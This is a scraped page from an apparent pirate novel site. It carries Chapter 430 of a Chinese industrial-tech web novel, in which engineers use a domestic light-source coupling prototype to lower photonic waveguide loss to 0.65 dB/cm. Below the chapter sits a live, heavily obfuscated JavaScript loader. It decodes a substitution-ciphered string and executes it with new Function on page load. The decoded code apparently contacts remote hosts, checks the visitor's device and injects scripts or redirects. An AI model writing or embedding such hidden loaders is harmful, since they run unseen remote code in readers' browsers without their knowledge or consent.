首页
第430章 国产设备的惊喜
返回
关灯 护眼:关 字号:小

第430章 国产设备的惊喜

章节报错(免登陆)

一秒记住【笔趣阁】
xbiquge365.net,更新快,无弹窗!

    第430章国产设备的惊喜(第1/2页)
    小型货车停在光子芯片研发中心卸货区时,沈明轩刚从实验室出来,手里还拿着上一轮波导损耗测试报告。
    林知行从副驾跳下来,衬衫袖口卷着,手里有一张运输单,他走到货厢后面,抬手拍了拍箱门,“比预期早三天,华科精密加班赶出来的”。
    货厢门被拉开,里面固定着一个木箱,箱体侧面印着“华科精密”“光源耦合设备”“首台样机”,下面还有一串出厂编号。
    沈明轩走到木箱前,伸手按在箱体上,木板外面还带着冷气,运输封条没有拆,边角贴着华科精密的红色质检签。
    林知行把运输单递给他,“周华建说,这是他做过最快的一次样机交付,昨天夜里他们试完最后一组标定,凌晨直接装车”。
    沈明轩没接运输单,只看着木箱上的设备名称,“标定数据带了吗”。
    林知行从文件袋里抽出一摞纸,“带了,光源稳定性,光斑分布,机械定位误差,软件补偿接口,四份都在”。
    旁边的工程师推来液压叉车,几个人把木箱从货厢里移下来,轮子碾过地面,发出沉闷的滚动声。
    林知行站在一旁,看着木箱缓缓落地,“实物到了”。
    沈明轩“开箱”。
    木箱拆开后,国产光源耦合设备露出机身,外壳是简单的灰白色,边角没有太多装饰,前面板上排列着三组接口,标识贴得很整齐。
    实验室工程师把设备推上转运车,按无尘流程送进光芯实验室,沈明轩跟在旁边,一边走一边翻周华建给的标定表。
    林知行停在实验室门口,没有往里走,他身上的外套还沾着运输车厢里的灰,进无尘区要重新换装。
    隔着玻璃门,他看着工程师把设备推到预留工位,华科精密的铭牌被灯照亮,旁边是前几天刚接入的国产测试接口。
    沈明轩回头看了他一眼。
    林知行把文件袋夹在臂弯里,“设备到了,你用”。
    沈明轩把标定表合上,“好”。
    林知行点了一下头,转身往外走,走了两步又停下,“如果华科那边接口不行,我给周华建打电话,他今天不会离厂的”。
    沈明轩说,“先别让他睡”。
    林知行回头看他,嘴角动了下,“你也一样”。
    实验室门合上,林知行的身影被隔在玻璃外,沈明轩把目光收回来,走到设备旁边,工程师已经开始接电源和数据线。
    这台样机的内部光路布局比沈明轩预想得更简洁,打开维护盖后,光源模块、准直组件和耦合平台三块区域分得很清楚,工程师把线路接入控制台,参数面板亮起。
    屏幕第一行显示耦合精度,数值比他们过去使用的日本设备低一个数量级,旁边几个年轻工程师看完,下意识交换了一下眼神。
    沈明轩没有说话,他把参数菜单往下翻,停在控制模式那一栏。
    日本设备用的是精密伺服闭环,参数锁得很死,优点是定位准,缺点是可调范围窄,过去他们所有波导侧壁粗糙度优化,都建立在那套设备的精密路径上。
    华科精密这台样机不一样。
    它用的是开环加软件补偿,机械精度不占优势,但光斑功率密度分布可以手动拉宽,补偿曲线也能开放到工程师端,屏幕上每一个参数栏都能点进去改。
    沈明轩盯着光斑功率密度分布的设置栏,手指停在触控屏边缘。
    禁运公告发布后,他这几天一直在看同一个问题,如果日本设备再也进不来,光芯实验室不能一边骂禁运,一边继续按日本设备的工艺窗口找答案。
    只能用国产设备。
    那就在国产设备的可调范围里找最优解。
    之前他们卡在零点八,是因为梯度刻蚀的侧壁粗糙度已经压到一个平台,继续用窄而尖的光斑去修饰侧壁,边缘热影响区会很不均匀,越往下调,损耗改善越小。
    如果把光斑功率密度拉宽,用开环模式做更大的软件补偿,侧壁上形成的熔融层会更均匀,粗糙度也许能再往下。
    沈明轩拿起记号笔,在白板上画了两条曲线。
    一条窄而尖,是旧设备的光斑分布;一条宽而平,是华科样机能给出的分布。
    工程师陈宇航站在旁边,看着那条宽曲线:“沈博,这样耦合效率会不会掉?”
    “会掉一部分。”
    沈明轩在宽曲线中段画了一个圈:“但我们不要最高耦合效率,我们要侧壁更均匀的能量分布,先试这个窗口。”
    另一个工程师翻着工艺表:“那波导刻蚀后的热处理参数也要跟着改。”
    沈明轩点头:“三项一起动:光斑宽度、功率密度、补偿曲线,其他参数不动。”
    陈宇航看了眼旧记录:“这是新窗口,没有历史数据。”
    沈明轩把记号笔扣上:“没有就跑出来。”
    第一轮参数调整用了很久,华科精密的控制软件还带着早期样机的痕迹,有两个界面跳转不顺,一名工程师把问题记进联调清单,另一名工程师在控制台旁手动复核输入值。
    (本章未完,请点击下一页继续阅读)第430章国产设备的惊喜(第2/2页)
    沈明轩没有催,他站在设备旁边,看着光源模块稳定下来,屏幕上的功率曲线从上下抖动慢慢收窄。
    样片被放入测试位,国产光源耦合设备启动,光信号进入波导,测试平台开始采集数据。
    屏幕上的衰减值先是不断跳动,从零点九附近往下压,又在零点七附近来回浮动,操作工程师没敢抬头,手指停在键盘旁边。
    等数据稳定后,屏幕上显示出一行结果。
    光损耗,零点六五分贝每厘米。
    操作工程师盯着那行字看了一会儿,又打开原始采样文件核对了一遍,他把曲线放大,确认没有采样断点,才转头叫人。
    “沈博,你看这个数字。”
    沈明轩走过去,弯腰看屏幕,眼镜片上反着蓝色光,他没有碰鼠标,只看着那条从零点八往下跳的曲线。
    实验室里几个人都停下了手里的活。
    沈明轩抬起头,“再跑一遍”。
    第二轮,零点六六。
    第三轮,零点六四。
    三轮平均,零点六五。
    陈宇航把三组数据打印出来,纸从打印机里吐出来时,边角还带着热意,沈明轩接过报告,看着损耗曲线图上那条断崖式的下行点。
    过去三周,零点八让人头疼。
    今天,它往下跳了一截。
    沈明轩拿起红笔,写下几个字。
    国产设备给的惊喜。
    实验室里没有人喊,陈宇航把手里的手套摘下来,揉成一团,又重新摊开,旁边一个女工程师低头把测试日志翻到新页,笔尖在日期下面停了一会儿才落下。
    沈明轩把报告拍照,发进核心群。
    图片上,零点八到零点六五的跳变点被红圈标得很醒目,旁边那行字也被拍了进去。
    赵北最先回:“虽然看不懂但感觉很厉害×2”
    梁鸿远回,“好”。
    林知行隔了一会儿回了一个字,“值”。
    苏明哲的消息跟在后面,“恭喜,参数稳定性需要验证”。
    赵北立刻接话:“苏教授这个恭喜后面跟验证,才是正宗味道。”
    陈启的私信很快过来:“突破原因?”
    沈明轩坐回工位,手边还放着华科精密的标定表。
    “国产设备的开环模式,和日本设备不一样,用它的特性重新调了波导参数,旧设备精度高但参数锁死,这台样机精度低一点,但光斑控制更灵活,禁运逼我们只能用国产,结果国产给出了日本设备给不了的窗口”。
    陈启回,“这就是我为什么说,禁运是他们的武器,也是我们的”。
    沈明轩看着这句话,抬头看了一眼华科精密那台设备。
    外壳上还有运输时留下的细小划痕,机身旁边贴着临时编号,控制软件还有两个界面会卡,工程师刚才已经把问题列了半页纸。
    但它把零点八往下推到了零点六五。
    沈明轩给周华建发了一条消息,“样机有效,软件界面问题稍后发清单,今晚不要关机”。
    周华建几乎立刻回复:“我人在厂里,等。”
    林知行的私信也跳出来:“能用吗?”
    沈明轩回,“能用,比预期好”。
    林知行回,“那就好,我回去睡两个小时”。
    沈明轩看着这句,手指悬在屏幕上,最后只回了一个字,“去”。
    晚上,实验室里的人逐渐少了,剩下的工程师还在跑稳定性复测,华科精密的设备一直亮着,风扇声混在测试台的低鸣里。
    沈明轩把三轮测试数据导入分析系统,重新生成损耗曲线。
    零点六五的数字停在屏幕中央。
    距离零点五,还差零点一五。
    但这一次不一样,零点八到零点六五不是靠单纯工艺极限出来的,是从国产设备的特性里打开的新窗口。
    剩下的零点一五,要在全链国产设备上跑一次完整流片。
    光源,耦合,波导,封装,测试,每一段都不能掉。
    他把今天的曲线图贴到实验室白板上,在零点六五旁边写下,全链验证。
    然后他拿起手机,给陈启发了消息。
    “零点五不是不可能的。”
    产业新城总部,陈启收到消息时,办公室里只开着白板灯。
    他把沈明轩发来的曲线图放大,看着红圈旁边那行国产设备给的惊喜,手指在屏幕边缘停了停。
    白板光芯线原本写着零点八,后面是黄色圈。
    陈启拿起红笔,把零点八划掉,改成零点六五分贝每厘米。
    全链国产设备环境下首次突破。
    他又在旁边写下,距零点五,冲刺。
    系统提示。
    【国产设备单点突破已形成正向反馈,全链国产完整流片可行性上升,建议保密级别维持最高。】
    他给沈明轩回了两个字。
    “等你”。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();